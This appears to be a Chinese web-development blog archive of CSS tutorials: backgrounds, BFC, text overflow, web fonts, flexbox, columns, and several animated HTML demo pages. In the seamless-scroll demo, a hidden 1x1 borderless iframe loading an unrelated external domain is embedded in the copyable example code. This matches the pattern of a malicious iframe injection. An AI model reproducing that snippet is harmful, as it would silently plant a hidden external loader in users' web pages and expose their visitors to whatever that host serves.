标签 css 下的文章

背景缩放(CSS3)

通过background-size设置背景图片的尺寸,就像我们设置img的尺寸一样,在移动Web开发中做屏幕适配应用非常广泛。

其参数设置如下:

a) 可以设置长度单位(px)或百分比(设置百分比时,参照盒子的宽高)

b) 设置为cover时,会自动调整缩放比例,保证图片始终填充满背景区域,如有溢出部分则会被隐藏。我们平时用的cover 最多

c) 设置为contain会自动调整缩放比例,保证图片始终完整显示在背景区域。

background-image: url('images/gyt.jpg');
background-size: 300px 100px;
/* background-size: contain; */
/* background-size: cover; */

多背景(CSS3)
以逗号分隔可以设置多背景,可用于自适应布局 做法就是 用逗号隔开就好了。

  • 一个元素可以设置多重背景图像。
  • 每组属性间使用逗号分隔。
  • 如果设置的多重背景图之间存在着交集(即存在着重叠关系),前面的背景图会覆盖在后面的背景图之上。
  • 为了避免背景色将图像盖住,背景色通常都定义在最后一组上,

      background:url(test1.jpg) no-repeat scroll 10px 20px/50px 60px  ,
             url(test1.jpg) no-repeat scroll 10px 20px/70px 90px ,
             url(test1.jpg) no-repeat scroll 10px 20px/110px 130px c #aaa;
    

BFC(Block formatting context)直译为"块级格式化上下文"。

元素具有BFC的条件

w3c 规范:
display 属性为 block, list-item, table 的元素,会产生BFC.
这个三个都是用来布局最为合理的元素,因为他们就是用来可视化布局。
而其他的display属性,比如 line 等等,他们创建的是 IFC 。

BFC有着具体的布局特性:
1.png
有宽度和高度 , 有 外边距margin 有内边距padding 有边框 border。

产生BFC的情况

  • float属性不为none
  • position为absolute或fixed
  • display为inline-block, table-cell, table-caption, flex, inline-flex
  • overflow不为visible。

BFC布局规则特性

1.在BFC中,盒子从顶端开始垂直地一个接一个地排列.

2.盒子垂直方向的距离由margin决定。属于同一个BFC的两个相邻盒子的margin会发生重叠

3.在BFC中,每一个盒子的左外边缘(margin-left)会触碰到容器的左边缘(border-left)(对于从右到左的格式来说,则触碰到右边缘)。

  1. BFC的区域不会与浮动盒子产生交集,而是紧贴浮动边缘。
  2. 计算BFC的高度时,自然也会检测浮动或者定位的盒子高度。

它是一个独立的渲染区域,只有Block-level box参与, 它规定了内部的Block-level Box如何布局,并且与这个区域外部毫不相干。

BFC的主要用途

(1) 清除元素内部浮动

只要把父元素设为BFC就可以清理子元素的浮动了,最常见的用法就是在父元素上设置overflow: hidden样式,对于IE6加上zoom:1就可以了。

主要用到 :计算BFC的高度时,自然也会检测浮动或者定位的盒子高度。

只要把父元素设为BFC就可以清理子元素的浮动了,最常见的用法就是在父元素上设置overflow: hidden样式,对于IE6加上zoom:1就可以了。

(2) 解决外边距合并问题

外边距合并的问题。

主要用到 盒子垂直方向的距离由margin决定。属于同一个BFC的两个相邻盒子的margin会发生重叠

属于同一个BFC的两个相邻盒子的margin会发生重叠,那么我们创建不属于同一个BFC,就不会发生margin重叠了。

(3) 制作右侧自适应的盒子问题

主要用到:普通流体元素BFC后,为了和浮动元素不产生任何交集,顺着浮动边缘形成自己的封闭上下文。

BFC就是页面上的一个隔离的独立容器,容器里面的子元素不会影响到外面的元素。反之也如此。包括浮动,和外边距合并等等,因此,有了这个特性,我们布局的时候就不会出现意外情况了。

word-break:自动换行

参数:

  • normal 使用浏览器默认的换行规则。
  • break-all 允许在单词内换行。
  • keep-all 只能在半角空格或连字符处换行。

    注意:主要处理英文单词。

white-space

white-space设置或检索对象内文本显示方式。通常我们使用于强制一行显示内容 。
参数:

  • normal :  默认处理方式;
  • nowrap :  强制在同一行内显示所有文本,直到文本结束或者遭遇br标签对象才换行。

注意:可以处理中文。

text-overflow 文字溢出

设置或检索是否使用一个省略标记(...)标示对象内文本的溢出。
参数:

  • clip :  不显示省略标记(...),而是简单的裁切 ;
  • ellipsis :  当对象内文本溢出时显示省略标记(...);

注意:一定要首先强制一行内显示,再次和overflow属性 搭配使用。

web中的字体

web中的字体,和系统无关,系统有无该字体不影响最终的显示效果,不同浏览器所支持的字体格式是不一样的。

  • TureTpe(.ttf)格式
    .ttf字体是Windows和Mac的最常见的字体,是一种RAW格式,支持这种字体的浏览器有IE9+、Firefox3.5+、Chrome4+、Safari3+、Opera10+、iOS Mobile、Safari4.2+;
  • OpenType(.otf)格式
    .otf字体被认为是一种原始的字体格式,其内置在TureType的基础上,支持这种字体的浏览器有Firefox3.5+、Chrome4.0+、Safari3.1+、Opera10.0+、iOS Mobile、Safari4.2+;
  • Web Open Font Format(.woff)格式
    woff字体是Web字体中最佳格式,他是一个开放的TrueType/OpenType的压缩版本,同时也支持元数据包的分离,支持这种字体的浏览器有IE9+、Firefox3.5+、Chrome6+、Safari3.6+、Opera11.1+;
  • Embedded Open Type(.eot)格式
    .eot字体是IE专用字体,可以从TrueType创建此格式字体,支持这种字体的浏览器有IE4+;
  • SVG(.svg)格式
    .svg字体是基于SVG字体渲染的一种格式,支持这种字体的浏览器有Chrome4+、Safari3.1+、Opera10.0+、iOS Mobile Safari3.2+;

字体图标

其实我们可以把文字理解成是一种特殊形状的图片,常见的是把网页常用的一些小的图标,借助工具帮我们生成一个字体包,然后就可以像使用文字一样使用图标了。
这样做的优点:

  • 将所有图标打包成字体库,减少请求;
  • 具有矢量性,可保证清晰度;
  • 使用灵活,便于维护;

附录:Font Awesome 使用介绍
http://fontawesome.dashgame.com/
定制自已的字体图标库
http://iconfont.cn/
https://icomoon.io/
SVG素材
http://www.iconsvg.com/

CSS3引入的布局模式Flexbox布局,使得我们对块级元素的布局排列变得十分灵活,适应性非常强,其强大的伸缩性,在响应式开中可以发挥极大的作用。
首先我们先理解几个概念:
主轴:Flex容器的主轴主要用来配置Flex项目,默认是水平方向
侧轴:与主轴垂直的轴称作侧轴,默认是垂直方向的。
方向:默认主轴从左向右,侧轴默认从上到下。

注意:主轴和侧轴并不是固定不变的,通过flex-direction可以互换。

通过下图我们来深入理解(图片来源于网络)
1.png

1、必要元素:

  • 指定一个盒子为伸缩盒子 display: flex
  • 设置属性来调整此盒的子元素的布局方式,例如:flex-direction
  • 明确主侧轴及方向。
  • 可互换主侧轴,也可改变方向。
    2、属性详解
  • 调整主轴方向(默认为水平方向)flex-direction,该属性通过定义flex容器的主轴方向来决定felx子项在flex容器中的位置。

    • row 水平方向(从左向右)`
    • reverse-row` 反转(从右向左)
    • column 垂直方向(从上向下)
    • reverse-column 反转列(从下向上)
  • justify-content设置或检索弹性盒子元素在主轴(横轴)方向上的对齐方式。

    • flex-start 起点对齐
    • flex-end 终点对齐
    • center 中间对齐
    • space-around 环绕
    • space-between 两端对齐
  • flex控制子项目的缩放比例,不指定flex 属性,则不参与分配。
  • align-items设置或检索弹性盒子元素在主轴(横轴)方向上的对齐方式。

    • flex-start 起点对齐
    • flex-end 终点对齐
    • center 中间对齐
    • Strethc 拉伸。
  • order可以进行排序

附录:flex-wrap
flex-wrap 属性规定flex容器是单行或者多行,同时横轴的方向决定了新行堆叠的方向。
注意:如果元素不是弹性盒对象的元素,则 flex-wrap 属性不起作用。
语法:flex-wrap: nowrap|wrap|wrap-reverse|initial|inherit;
属性:

描述
nowrap默认值。规定灵活的项目不拆行或不拆列。
wrap规定灵活的项目在必要的时候拆行或拆列。
wrap-reverse规定灵活的项目在必要的时候拆行或拆列,但是以相反的顺序。
initial设置该属性为它的默认值。
inherit从父元素继承该属性。

columns语法:columns:[ column-width ] || [ column-count ],设置或检索对象的列数和每列的宽度。
相关属性

  • 分几列
    column-count:3;
  • 分割线
    column-rule:1px dashed red;
  • 设置列间距
    column-gap:60px;
  • 列宽度
    column-width: 400px;
  • 和并列
    column-span:all

注意:为了解决浏览器的兼容性问题,一定要加上浏览器的前缀。

描述:用CSS3描述太阳系行星的运动情况,小行星带使用的使用的是一张图片。原理就是利用的CSS3的动画属性,让每一个行星在每一个块级元素的边上,让该块状元素进行旋转,给每一个块状元素设置圆角,使得每一个块级元素全部显示为圆形。
效果:
1.png

附:小行星带
a.png

代码实现:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>太阳系</title>
    <style>
        body{
            margin: 0;
            padding: 0;
            background: #000000;
        }
        ul{
            width: 600px;
            height: 600px;
            margin: 40px auto;
            position: relative;
            list-style: none;
        }
        ul li{
            border: 2px solid #394057;
            position: absolute;
            left: 50%;
            top: 50%;
            border-radius: 50%;
            transform: translate(-50%,-50%);
            box-sizing: border-box;
            animation-iteration-count: infinite;
            animation-timing-function: linear;
            animation-name: orbit;
        }
        ul li span {
            display: block;
            position: absolute;
            left: 0;
            width: 12px;
            height: 12px;
            border-radius: 50%;
        }

        ul li:nth-child(1) {
            width: 60px;
            height: 60px;
            border: none;
            box-shadow: 0 0 50px #c90;
            background-color: #C90;
            animation-duration: 5s;
        }

        ul li:nth-child(2) {
            width: 120px;
            height: 120px;
            animation-duration: 6s;
        }

        ul li:nth-child(2) span {
            background-color: yellow;
            left: 80px;
            top: 0;
        }

        ul li:nth-child(3) {
            width: 180px;
            height: 180px;
            animation-duration: 10s;
        }

        ul li:nth-child(3) span {
            background-color: blue;
            left: 47px;
            top: 0;
        }

        ul li:nth-child(4) {
            width: 240px;
            height: 240px;
            animation-duration: 12s;
        }

        ul li:nth-child(4) > span {
            background-color: green;
            left: 209px;
            top: 43px;
            animation: orbit 2s infinite linear;
        }

        ul li:nth-child(4) > span span {
            width: 6px;
            height: 6px;
            left: 16px;
            background-color: yellow;
        }

        ul li:nth-child(5) {
            width: 300px;
            height: 300px;
            background-image: url(./asteroids_meteorids.png);
            background-size: cover;
            animation-duration: 25s;
        }

        ul li:nth-child(5) span {
            background-color: red;
            left: 95px;
            top: 0;
        }

        ul li:nth-child(6) {
            width: 360px;
            height: 360px;
            animation-duration: 20s;
        }

        ul li:nth-child(6) span {
            background-color: #CCC;
            left: -5px;
            top: 200px;
        }

        ul li:nth-child(7) {
            width: 420px;
            height: 420px;
            animation-duration: 30s;
        }

        ul li:nth-child(7) > span {
            background-color: green;
            left: 300px;
            top: 18px;
        }

        ul li:nth-child(7) > span span {
            width: 15px;
            height: 15px;
            border: 2px solid #CCC;
            left: -4px;
            top: -4px;
            transform: skew(0, 45deg);
        }

        ul li:nth-child(8) {
            width: 480px;
            height: 480px;
            animation-duration: 35s;
        }

        ul li:nth-child(8) span {
            background-color: pink;
            left: 0;
            top: 170px;
        }

        ul li:nth-child(9) {
            width: 540px;
            height: 540px;
            animation-duration: 40s;
        }

        ul li:nth-child(9) span {
            background-color: blue;
            left: 47px;
            top: 100px;
        }

        ul li:nth-child(10) {
            width: 600px;
            height: 600px;
            animation-duration: 45s;
        }

        ul li:nth-child(10) span {
            background-color: yellow;
            left: 224px;
            top: 0;
        }

        @keyframes orbit {
            0% {
                transform: translate(-50%, -50%) rotate(0deg);
            }
            100% {
                transform: translate(-50%, -50%) rotate(360deg);
            }
        }
    </style>
</head>
<body>
<ul>
    <li></li>
    <li><span></span></li>
    <li><span></span></li>
    <li><span><span></span></span></li>
    <li><span></span></li>
    <li><span></span></li>
    <li><span><span></span></span></li>
    <li><span></span></li>
    <li><span></span></li>
    <li><span></span></li>
</ul>
</body>
</html>

描述:用CSS3的动画来实现无缝滚动,鼠标经过的时候,无缝滚动暂停,通过animation-play-state: paused;来进行控制,该属性有两个值: paused 暂停 running 播放。
问题:目前存在一个小bug,那就是图片必须按照顺序显示两次,因为实现无缝滚动的原理是通过动画进行移动,移动之后恢复,展示两次图片可以实现无缝对接,但是页面加载的资源占用较多。
示例代码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSS3 动画</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            background-color: #F7F7F7;
        }

        .view {
            width: 882px;
            height: 86px;
            margin: 200px auto;
            position: relative;
            overflow: hidden;
            border: 1px solid #CCC;
        }

        ul {
            width: 1764px;
            height: 86px;
            padding: 0;
            margin: 0;
            list-style: none;
            position: absolute;
            left: 0;

            animation: move 7s linear infinite;

        }

        ul:hover{
            /* 控制动画状态 paused 暂停  running 播放*/
            animation-play-state: paused;
        }



        li {
            float: left;
            font-size: 0;
        }


        @keyframes move {
            0%{
                transform:translate(0);
            }

            100%{
                transform:translate(-882px);
            }
        }

    </style>
</head>
<body>
<div class="view">
    <ul>
        <li><img src="./images/1.jpg" alt=""></li>
        <li><img src="./images/2.jpg" alt=""></li>
        <li><img src="./images/3.jpg" alt=""></li>
        <li><img src="./images/4.jpg" alt=""></li>
        <li><img src="./images/5.jpg" alt=""></li>
        <li><img src="./images/6.jpg" alt=""></li>
        <li><img src="./images/7.jpg" alt=""></li>
        <li><img src="./images/1.jpg" alt=""></li>
        <li><img src="./images/2.jpg" alt=""></li>
        <li><img src="./images/3.jpg" alt=""></li>
        <li><img src="./images/4.jpg" alt=""></li>
        <li><img src="./images/5.jpg" alt=""></li>
        <li><img src="./images/6.jpg" alt=""></li>
        <li><img src="./images/7.jpg" alt=""></li>
    </ul>
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>

描述:该案例是使用CSS来描写的,所使用的技术有:linear-gradient线性渐变,animation动画,box-shadow阴影等css3的属性。
效果图:
1.png

示例代码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>跳动的心</title>
    <style>
        html,body{
            height: 100%;
        }
        body{
            margin: 0;
            padding: 0;
            background: #ffa5a5;
        }
        .chest{
            width: 500px;
            height: 500px;
            margin: 0 auto;
            position: relative;
        }
        .heart{
            position: absolute;
            z-index: 2;
            background: linear-gradient(-90deg,#F50A45 0%,#d5093c);
            animation: beat 0.7s ease 0s infinite normal;
        }
        .heart.center{
            background: linear-gradient(-45deg,#B80734 0%,#d5093c 40%);
        }
        .heart.top{
            z-index: 3;
        }
        .side{
            top: 100px;
            width: 220px;
            height: 220px;
            border-radius: 110px;
        }
        .center{
            width: 210px;
            height: 210px;
            bottom: 100px;
            left: 145px;
            transform: rotateZ(225deg);
        }
        .left{
            left: 62px;
        }
        .right{
            right: 62px;
        }
        @keyframes beat {
            0%{
                transform: scale(1) rotate(225deg);
                box-shadow: 0 0 40px #d5093c;
            }
            50%{
                transform: scale(1.1) rotate(225deg);
                box-shadow: 0 0 70px #d5093c;
            }
            100%{
                transform: scale(1) rotate(225deg);
                box-shadow: 0 0 40px #d5093c;
            }
        }
    </style>
</head>
<body>
    <div class="chest">
        <div class="heart left side top"></div>
        <div class="heart center"></div>
        <div class="heart right side"></div>
    </div>
</body>
</html>

描述:通过CSS3的动画来制作轮播图,该图片占满整个屏幕,通过点击下方对应的按钮,就可以实现图片的更换。
实现代码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>全屏切换练习</title>
    <style>
        *{
            margin: 0;
            padding: 0;
            list-style: none;
        }
        html,body{
            height: 100%;
        }
        body{
            overflow: hidden;
        }
        .img-box{
            position: absolute;
            width: 100%;
            height: 100%;
            z-index: 0;
        }
        .img-box img{
            width: 100%;
            height: 100%;
            position: absolute;
            top: 0;
            left: 0;
        }
        .img-box img:target{
            z-index: 5;
        }
        .img-box img:nth-child(1):target{
            animation: showLeft 2s;
        }

        .img-box img:nth-child(2):target{
            animation: showTop 2s;
        }

        .img-box img:nth-child(3):target{
            animation: rot 2s;
        }
        .img-box img:nth-child(1){
            z-index:1;
        }
        ul{
            position: absolute;
            z-index:1;
            width: 300px;
            height:80px;
            left:50%;
            bottom:20px;
            margin-left:-150px;
        }

        ul li{
            float: left;
        }
        ul li a{
            display: block;
            width: 80px;
            height: 80px;
            background-color: pink;
            border-radius: 50%;
            margin-left:20px;
            text-align: center;
            line-height: 80px;
            font-size:30px;
            color:red;
            text-decoration: none;
        }
        @keyframes showLeft {
            0%{
              transform: translateX(-2000px);
            }
            100%{
                transform: translateY(0px);
            }
        }
        @keyframes rot {
            0%{
                transform: scale(0.5) rotate(345deg);
            }
            100%{
                transform: scale(1)rotate(0deg);
            }
        }
    </style>
</head>
<body>
<div class="img-box">
    <img src="images/bg2.jpg"  id="img1" alt=""/>
    <img src="images/bg3.jpg"  id="img2" alt=""/>
    <img src="images/bg5.jpg"  id="img3" alt=""/>
</div>
<ul>
    <li><a href="#img1">1</a></li>
    <li><a href="#img2">2</a></li>
    <li><a href="#img3">3</a></li>
</ul>
</body>
</html>